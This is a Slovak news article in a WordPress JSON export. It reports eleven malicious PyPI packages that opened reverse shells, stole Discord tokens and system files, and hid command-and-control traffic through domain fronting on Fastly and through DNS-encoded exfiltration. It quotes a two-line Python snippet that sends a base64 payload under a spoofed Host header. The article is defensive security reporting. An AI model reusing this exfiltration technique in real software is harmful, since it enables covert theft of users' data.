{"id":102339,"date":"2021-11-20T09:36:56","date_gmt":"2021-11-20T07:36:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi"},"modified":"2021-11-20T09:36:56","modified_gmt":"2021-11-20T07:36:57","slug":"v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sk\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","title":{"rendered":"V katal\u00f3gu PyPI boli zisten\u00e9 \u0161kodliv\u00e9 kni\u017enice, ktor\u00e9 vyu\u017e\u00edvaj\u00fa CDN PyPI na skrytie komunika\u010dn\u00e9ho kan\u00e1la.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>V katal\u00f3gu PyPI (Python Package Index) bolo zisten\u00fdch 11 bal\u00edkov obsahuj\u00facich \u0161kodliv\u00fd k\u00f3d. Pred objaven\u00edm probl\u00e9mov bal\u00edky stihli by\u0165 stiahnut\u00e9 pribli\u017ene 38 tis\u00edc kr\u00e1t. Zisten\u00e9 \u0161kodliv\u00e9 bal\u00edky s\u00fa pozoruhodn\u00e9 svojimi zlo\u017eit\u00fdmi met\u00f3dami skr\u00fdvania komunika\u010dn\u00fdch kan\u00e1lov so servermi \u00fato\u010dn\u00edkov.     <\/p>\n<ul>\n<li class=\"l\"> importantpackage (6305 stiahnut\u00ed), important-package (12897) \u2014 vytv\u00e1ralo spojenie s extern\u00fdm serverom pod z\u00e1mienkou pripojenia k pypi.python.org na poskytovanie shell pr\u00edstupu k syst\u00e9mu (reverse shell) a na skrytie komunika\u010dn\u00e9ho kan\u00e1la pou\u017e\u00edvalo program trevorc2.\n<li class=\"l\"> pptest (10001), ipboards (946) \u2014 pou\u017e\u00edvali DNS ako komunika\u010dn\u00fd kan\u00e1l na prenos inform\u00e1ci\u00ed o syst\u00e9me (v prvom pakete meno hostite\u013ea, pracovn\u00fd adres\u00e1r, vn\u00fatorn\u00e1 a vonkaj\u0161ia IP, v druhom \u2014 meno pou\u017e\u00edvate\u013ea a hostite\u013ea).\n<li class=\"l\"> owlmoon (3285), DiscordSafety (557), yiffparty (1859) \u2014 identifikovali v syst\u00e9me token slu\u017eby Discord a odosielali ho na extern\u00fd host.\n<li class=\"l\"> trrfab (287) \u2014 odosielal na extern\u00fd host identifik\u00e1tor, meno hostite\u013ea a obsah \/etc\/passwd, \/etc\/hosts, \/home.\n<li class=\"l\"> 10Cent10 (490) \u2014 vytv\u00e1ralo sp\u00e4tn\u00e9 shell pripojenie s extern\u00fdm hostom.\n<li class=\"l\"> yandex-yt (4183) \u2014 vypisoval spr\u00e1vu o kompromit\u00e1cii syst\u00e9mu a presmerov\u00e1val na str\u00e1nku s dodato\u010dn\u00fdmi inform\u00e1ciami o \u010fal\u0161\u00edch krokoch, ktor\u00e1 bola poskytovan\u00e1 cez nda.ya.ru (api.ya.cc).  <\/ul>\n<p>Pozornos\u0165 si zasl\u00fa\u017ei aj met\u00f3da komunik\u00e1cie s extern\u00fdmi hostite\u013emi, pou\u017e\u00edvan\u00e1 v bal\u00edkoch importantpackage a important-package, ktor\u00e9 na skrytie svojej aktivity vyu\u017e\u00edvali sie\u0165 prepravy obsahu Fastly, pou\u017eit\u00fa v katal\u00f3gu PyPI. V skuto\u010dnosti sa po\u017eiadavky posielali na server pypi.python.org (vr\u00e1tane uv\u00e1dzania mena python.org v SNI v r\u00e1mci HTTPS po\u017eiadavky), av\u0161ak v HTTP hlavi\u010dke bol zadan\u00fd n\u00e1zov servera pod kontrolou \u00fato\u010dn\u00edkov (sec.forward.io.global.prod.fastly.net). Sie\u0165 prepravy obsahu smerovala tak\u00fato po\u017eiadavku na server \u00fato\u010dn\u00edkov, pri\u010dom pri prenose \u00fadajov pou\u017e\u00edvala parametre TLS spojenia s pypi.python.org.       <\/p>\n<p>Prev\u00e1dzku infra\u0161trukt\u00fary PyPI zabezpe\u010duje sie\u0165 prepravy obsahu Fastly, v ktorej sa na caching \u0161tandardn\u00fdch po\u017eiadaviek pou\u017e\u00edva prieh\u013eadn\u00fd proxy Varnish, a tie\u017e sa uplat\u0148uje spracovanie TLS certifik\u00e1tov na \u00farovni CDN, a nie na koncov\u00fdch serveroch, na organizovanie prechodu HTTPS po\u017eiadaviek cez proxy. Bez oh\u013eadu na cie\u013eov\u00e9ho hostite\u013ea s\u00fa po\u017eiadavky smerovan\u00e9 do proxy, ktor\u00e1 ur\u010duje po\u017eadovan\u00fd host pod\u013ea HTTP hlavi\u010dky \u201eHost\u201c, a <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/sk\/domain\/\"   title=\"dom\u00e9nov\u00e9 men\u00e1\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"934\">dom\u00e9nov\u00e9 men\u00e1<\/a> Hosty s\u00fa priraden\u00e9 k \u0161tandardn\u00fdm IP adres\u00e1m vyrovn\u00e1vac\u00edch mechanizmov CDN pre v\u0161etk\u00fdch klientov spolo\u010dnosti Fastly.      <\/p>\n<p>Server \u00fato\u010dn\u00edkov je tie\u017e registrovan\u00fd v CDN Fastly, ktor\u00fd poskytuje v\u0161etk\u00fdm z\u00e1ujemcom bezplatn\u00e9 tarify a dokonca umo\u017e\u0148uje anonymn\u00fa registr\u00e1ciu. Je pozoruhodn\u00e9, \u017ee na odosielanie po\u017eiadaviek obete pri vytv\u00e1ran\u00ed \u201ereverse shell\u201c sa pou\u017e\u00edva tie\u017e sch\u00e9ma, ale iniciovan\u00e1 zo strany hostite\u013ea \u00fato\u010dn\u00edkov. Z poh\u013eadu interakcie so serverom \u00fato\u010dn\u00edkov to vyzer\u00e1 ako legit\u00edmna rel\u00e1cia s adres\u00e1rom PyPI, \u0161ifrovan\u00e1 s pou\u017eit\u00edm <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/sk\/ssl-sertifikat\/\"   title=\"TLS-certifik\u00e1tu\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"951\">TLS-certifik\u00e1tu<\/a> PyPI. Podobn\u00e1 technika, zn\u00e1ma pod n\u00e1zvom \u201edomain fronting\u201c, sa predt\u00fdm akt\u00edvne pou\u017e\u00edvala na skrytie n\u00e1zvu hostite\u013ea pri obch\u00e1dzan\u00ed blok\u00e1ci\u00ed, vyu\u017e\u00edvaj\u00fac poskytovan\u00fa v niektor\u00fdch CDN sie\u0165ach mo\u017enos\u0165 pr\u00edstupu cez HTTPS so \u0161pecifikovan\u00edm fikt\u00edvneho hostite\u013ea v SNI a skuto\u010dn\u00fdm prenosom n\u00e1zvu po\u017eadovan\u00e9ho hostite\u013ea v HTTP hlavi\u010dke Host v r\u00e1mci TLS rel\u00e1cie.     <center><img decoding=\"async\" alt=\"V katal\u00f3gu PyPI boli zisten\u00e9 \u0161kodliv\u00e9 kni\u017enice, ktor\u00e9 vyu\u017e\u00edvaj\u00fa CDN PyPI na skrytie komunika\u010dn\u00e9ho kan\u00e1la. \" src=\"\/wp-content\/uploads\/2021\/11\/9e9761458829291aded542d2bcae4cf3.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>Na skrytie \u0161kodlivej aktivity bol navy\u0161e pou\u017eit\u00fd bal\u00edk TrevorC2, ktor\u00fd umo\u017e\u0148uje interakciu so serverom, aby sa zdala ako be\u017en\u00e1 webov\u00e1 navig\u00e1cia, napr\u00edklad, \u0161kodliv\u00e9 po\u017eiadavky sa zasielali pod z\u00e1mienkou s\u0165ahovania obr\u00e1zku \u201ehttps:\/\/pypi.python.org\/images\/guid=\u201c s k\u00f3dovan\u00edm inform\u00e1ci\u00ed v parametre guid.           url = \u201ehttps:\/\/pypi.python.org\u201c + \u201e\/images\u201c + \u201e?\u201c + \u201eguid=\u201c + b64_payload     r = request.Request(url, headers = {\u2018Host\u2019: \u201epsec.forward.io.global.prod.fastly.net\u201c})      <\/p>\n<p>V bal\u00edkoch pptest a ipboards bol pou\u017eit\u00fd in\u00fd pr\u00edstup na skrytie sie\u0165ovej aktivity, zalo\u017een\u00fd na k\u00f3dovan\u00ed u\u017eito\u010dn\u00fdch inform\u00e1ci\u00ed v po\u017eiadavk\u00e1ch na DNS server. \u0160kodliv\u00fd softv\u00e9r pren\u00e1\u0161a inform\u00e1cie, vykon\u00e1vaj\u00fac DNS po\u017eiadavky v tvare \u201enu4timjagq4fimbuhe.example.com\u201c, v ktor\u00fdch je pomocou form\u00e1tu base64 zak\u00f3dovan\u00e9 pren\u00e1\u0161an\u00e9 na riadiaci server. \u00dato\u010dn\u00edk prij\u00edma d\u00e1ta spr\u00e1vy, kontroluj\u00fac DNS server pre dom\u00e9nu example.com.<br \/>\n<br \/>Zdroj: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56190\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) &#8212; \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102340,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - 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